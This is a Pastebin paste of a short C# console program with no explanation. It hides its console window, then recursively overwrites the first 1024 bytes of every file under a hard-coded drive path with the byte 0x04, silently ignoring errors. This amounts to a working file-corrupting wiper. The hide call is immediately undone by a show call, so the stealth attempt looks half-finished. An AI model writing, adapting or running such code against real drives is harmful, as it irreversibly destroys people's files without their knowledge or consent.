Advertisement
Guest User

Untitled

a guest
Jun 14th, 2018
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Runtime.Remoting.Metadata.W3cXsd2001;
  6. using System.Text;
  7. using System.Threading.Tasks;
  8. using System.Runtime.InteropServices;
  9.  
  10.  
  11.  
  12. namespace Inet
  13.  
  14. {
  15.  
  16. class Program
  17. {
  18. [DllImport("kernel32.dll")]
  19. static extern IntPtr GetConsoleWindow();
  20.  
  21. [DllImport("user32.dll")]
  22. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  23.  
  24. const int SW_HIDE = 0;
  25. const int SW_SHOW = 5;
  26.  
  27.  
  28. static void Main(string[] args)
  29. {
  30.  
  31. var handle = GetConsoleWindow();
  32.  
  33. // Hide
  34. ShowWindow(handle, SW_HIDE);
  35.  
  36. // Show
  37. ShowWindow(handle, SW_SHOW);
  38.  
  39. string path = "E:/aa/";
  40. string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
  41. foreach (string s in files)
  42. try
  43.  
  44. {
  45. using (var stream = new System.IO.FileStream(s, FileMode.Open, FileAccess.ReadWrite))
  46. {
  47.  
  48. for (int i = 0; i < 1024; i++)
  49. {
  50. stream.Position = i;
  51. stream.WriteByte(0x04);
  52. }
  53. }
  54. }
  55.  
  56. catch { }
  57.  
  58.  
  59.  
  60. }
  61. }
  62.  
  63. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement